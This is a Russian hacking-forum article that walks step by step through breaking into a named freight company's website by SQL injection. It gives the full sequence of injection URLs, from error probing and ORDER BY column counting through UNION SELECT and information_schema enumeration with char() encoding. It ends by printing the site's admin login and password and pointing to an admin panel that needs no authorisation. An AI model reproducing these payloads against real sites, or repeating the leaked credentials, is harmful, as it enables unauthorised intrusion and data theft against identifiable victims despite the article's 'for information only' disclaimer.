Новичку полезно

  • Баннер


Быстрый взлом dv-partner.com

Теги: Взлом сайта, sql injection

АННОТАЦИЯ

Здравствуйте уважаемые читатели, по просьбам участников форума, была поставлена задача написать статью про взлом не большого сайта. Нашей жертвой сегодня будет сайт dv-partner.com компания которого занимается перевозками различных грузов. Вообще я всегда поражался построением безопасности на такого рода сайта, но то, что я увидел здесь, поразило меня до нервных окончаний пяток. Ниже будет приведен пошаговый способ взлома и все специфические нюансы встретившиеся на пути к достижению цели.

Метод взлома стандартный, нахождение не фильтруемой переменной и проведение атаки типа SQL injection. Сама атака так же была стандартного типа без лишних премудростей.

ВВЕДЕНИЕ

Ежедневно атаками типа SQL injection поражаются огромное количество сайтов в Интернете, от совершенно не заметных проектов до масштабных. Все — это происходит по разного рода причинам, может быть огромное количество программного кода, за которым не возможно уследить, а может банально нет желания следить за информационной безопасностью своего сайта или же не хватает базы знаний в данной области. По этим причинам, проекты страдают иногда очень серьезно.

В данной статье описано одно из таких халатных отношений к информационной безопасности своего сайта, что может привезти к не совсем приятным последствиям. Так как, в Интернете ежесекундно кто то, кого то, хочет взломать и постоянно ищет различного рода уязвимости для их реализации и в дальнейшем использовании в своих коварных планах.

ВЗЛОМ

И так от теории к делу. Первое, что нам необходимо — это найти уязвимость на сайте, что удалось мне без особых затруднений. Не фильтруемая переменная хранилась в стандартном файле news.php который отвечает за публикацию новостей на сайте. Ниже представлена ссылка на уязвимость.

http://dv-partner.com/pages/news.php?id=33'

Ставим апостроф ' после цифры и получаем ошибку, опа значит то, что нам необходимо. Теперь давайте по быстрому подберем поля, я использую для этого оператор order by

http://dv-partner.com/pages/news.php?id=33+order+by+1

так, все показывает нормально, теперь давайте поставим число полей 99, что бы узнать истину ли показывает нам данный оператор, так как бывают частичные фильтрации которые не дают делать истинный подбор полей с использованием данного оператора.

http://dv-partner.com/pages/news.php?id=33+order+by+99

И так, в ответ получили ошибку, значит оператор работает и говорит о том, что на самом дела полей меньше. Это естественна, так как таблицы с 99 полями ставить было бы не целесообразно — это будет сильно тормозить сервер при поиске информации. Для дальнейшего поиска и выявления количества полей давайте поставим значение на много ниже давайте поставим значение 9

http://dv-partner.com/pages/news.php?id=33+order+by+9

Опять выдает ошибку, значит полей меньше 9... Думаю стоит попробовать установить количество полей равные 5, давайте попробуем.

http://dv-partner.com/pages/news.php?id=33+order+by+5

Опа, а тут нам выдало новостное сообщение, для точности подбора давайте попробуем цифру 6.

http://dv-partner.com/pages/news.php?id=33+order+by+6

Выдает ошибку, значит полей именно 5, так как на цифру больше показывает ошибку. Теперь давайте узнаем версию базы данных MySQL для этого пишем запрос следующим образом

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,5

Оператор union служит соединением двух операторов select первый из них уже указан в скрипте который обрабатывает переменную id которую мы мучаем в данный момент, а второй select тот который мы написали после оператора соединения union дальше прописываем все поля через запятую у нас их 5 то есть писать нужно 1,2,3,4,5 и после нежно нажимаем клавишу Enter. В ответ мы видим поле стоящее в гордом одиночестве под цифрой 5, это означает, что данное поле производит вывод информации. Для вывода версии MySQL необходимо в поле под цифрой 5 поставить функцией version(), что мы и сделаем.

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,version()

в ответ вместо цифры 5 мы получаем полную версию базы данных MySQL, это версия 5 и значит, что нам повезло, так как тут есть упрощенный вариант поиска всех таблиц и их столбцов с использованием таблицы information_schema. И так, составляем запрос для поиска нужной нам таблицы, в которой будут храниться пароли для входа в админку сайта.

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,table_name+from+information_schema.tables+limit+1,1

И так, давайте разберем, что мы написали.... в место поля 5 мы написали table_name данная таблица содержит в себе все имена таблиц, оператор from обеспечивает обращение к конкретной таблице, но так как у нас нет конкретного имени то мы воспользовались таблицей information_schema.tables из которой мы по одной будем перебирать таблицы и искать необходимую для нас. Далее оператор limit c двумя значениями, которые обеспечивают перебор таблиц, нам необходимо менять цифру которая находится слева. Сделав такой запрос в ответ мы получим таблицу CHARACTER_SETS — данная таблица является системной и она нам не нужна, раскрою маленькую тайну в данной версии первые 17 таблиц являются системными, так, что сразу вводим таблицу 18.

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,table_name+from+information_schema.tables+limit+18,1

Опа и сразу попадаем на нужную нам таблицу admin. Теперь нам необходимо узнать поля данной таблицы, для этого составляем почти похожий запрос где заменяем все слова table на column и добавляем, один оператор выборки where table_name=admin — чем мы говорим базе выдать нам поле таблицы admin. Делается следующим запросом...

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,column_name+from+information_schema.columns+where+table_name=admin+limit+1,1

И тут база выдает нам ошибку, ну ничего не стоит пугаться давайте зашифруем название таблицы в юникод, сделать данную процедуру можно любым онлайн конвертером, я воспользовался

http://net4me.net/online/36/net103.html

теперь полученные цифры разделяем запятой и помещаем в функцию char(), должно получиться так — char(97,100,109,105,110), теперь подставляем данную функцию место слова admin, это будет выглядеть следующим образом.

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,column_name+from+information_schema.columns+where+table_name=char(97,100,109,105,110)+limit+1,1

Теперь, опа, мы получаем название поля

name

Для того, что бы узнать название следующего поля давайте таким же образом поменяем цифру 1 на 2 как мы делали с перебором таблиц.

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,column_name+from+information_schema.columns+where+table_name=char(97,100,109,105,110)+limit+2,1

И вот мы получили название второго необходимого для нас поля

pass

теперь давайте вытянем из них данные для этого нам необходимо сделать следующий запрос

http://dv-partner.com/pages/news.php?id=33+union+select+1,2,3,4,concat(name,0x3a,pass)+from+admin+limit+1,1

и вот мы получаем логин и пароль от админки сайта.

Admin:123123

Теперь необходимо заняться поисками админки, вот тут то меня и поразило.... Я произвольна набрал вот такой вот запрос

http://dv-partner.com/admin.php

и сразу попал в управление новостями...... Более того это и есть та самая админка которая не требует никакой авторизации... Я сперва этому не поверил и решил убедиться просканировав сайт сканером структуры сайта, которым можно воспользоваться вот по этому адресу.

http://madnet.name/tools/madss/

но сканер доказал, что на самом деле другой админки и не существует.

Вот таким вот стандартным вариантом и был взломан сайт dv-partner.com.

ЗАКЛЮЧЕНИЕ

На самом деле сайтов с данной уязвимостью в Интернете как грязи, и пока разработчики данных сайтов не будут стараться бороться с уязвимостью, то есть следить за информационной безопасностью они будут страдать снова и снова. Я конечно отправил сообщение администрации по устранении причины, но судя по обновлению последних новостей, уязвимость закроют не скоро.

Данная информация предоставлена только для ознакомительных целей автор и администрация сайта не несут никакой ответственности за использование данной информации в не законных целях которые подводят под статьи УКРФ.

На сей ноте я решил закончить статью.... До новых встреч друзья, всем бб... =)

?

Добавить комментарий








VK Стена

  • Новость: Хакерская группа #GhostShell объявила войну властям России
  • Пост: Новые сиськи в альбоме "Девушки" http://vk.com/album-1815460 ...
  • Новое фото в альбоме "Мемы/Тролфэйсы/Покетфэйсы и т.д."
  • Новость: #Anonymous похитили личные электронные письма офицеров полиции Англии
  • Новость: Что можно купить за 50 долларов
  • Новость: Хотите заработать денег?
  • Пост: Hacker с именем "LegitHacker97" заявил, что успешно взломал ...
  • Новость: Киберпреступность виновата в задержках новых продуктов #Microsoft
  • Новое фото в альбоме "Приколы"
  • Ссылка: Wikileaks начал публикацию уставов американских военных тюрем

Cтатистика

SMS.копилка

SMS.копилка

Orphus

Система Orphus